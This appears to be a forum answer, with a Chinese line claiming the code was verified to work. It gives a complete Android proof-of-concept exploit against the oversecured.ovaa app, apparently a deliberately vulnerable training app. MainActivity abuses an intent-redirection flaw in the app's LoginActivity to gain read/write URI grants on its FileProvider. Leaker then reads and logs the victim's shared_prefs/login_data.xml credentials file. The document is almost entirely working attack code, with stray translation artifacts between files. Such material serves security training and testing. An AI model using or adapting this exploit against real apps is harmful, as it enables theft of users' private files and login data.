我验证了，确认下面提供的代码是为我工作：
MainActivity.java

public class MainActivity extends AppCompatActivity {
private Button button;
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    button = (Button) findViewById(R.id.button);
    button.setOnClickListener(new View.OnClickListener(){
        @Override
        public void onClick(View v){
            Intent extra = new Intent();
            extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
                    | Intent.FLAG_GRANT_READ_URI_PERMISSION
                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            extra.setClassName(getPackageName(), "com.example.fileleaker.Leaker");
            extra.setData(Uri.parse("content://oversecured.ovaa.fileprovider/"));

            Intent intent = new Intent();
            intent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.LoginActivity");
            intent.putExtra("redirect_intent", extra);
            startActivity(intent);
        }
    });
  }
}

字符串
Leaker.java

public class Leaker extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_leaker);

        Uri uri = Uri.parse(getIntent().getDataString() + "root/data/data/oversecured.ovaa/shared_prefs/login_data.xml"); // content://com.victim.provider/image/1

        try {
            InputStream i = getContentResolver().openInputStream(uri); // stolen image
            //creating an InputStreamReader object
            InputStreamReader isReader = new InputStreamReader(i);
            //Creating a BufferedReader object
            BufferedReader reader = new BufferedReader(isReader);
            StringBuffer sb = new StringBuffer();
            String str;
            while((str = reader.readLine())!= null){
                Log.v("Hello","=======File__DATA======="+str+"==========");
            }
        }catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

型
AndroidManifest.xml

<activity android:name=".Leaker">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
    </intent-filter>
</activity>
<activity android:name=".MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

型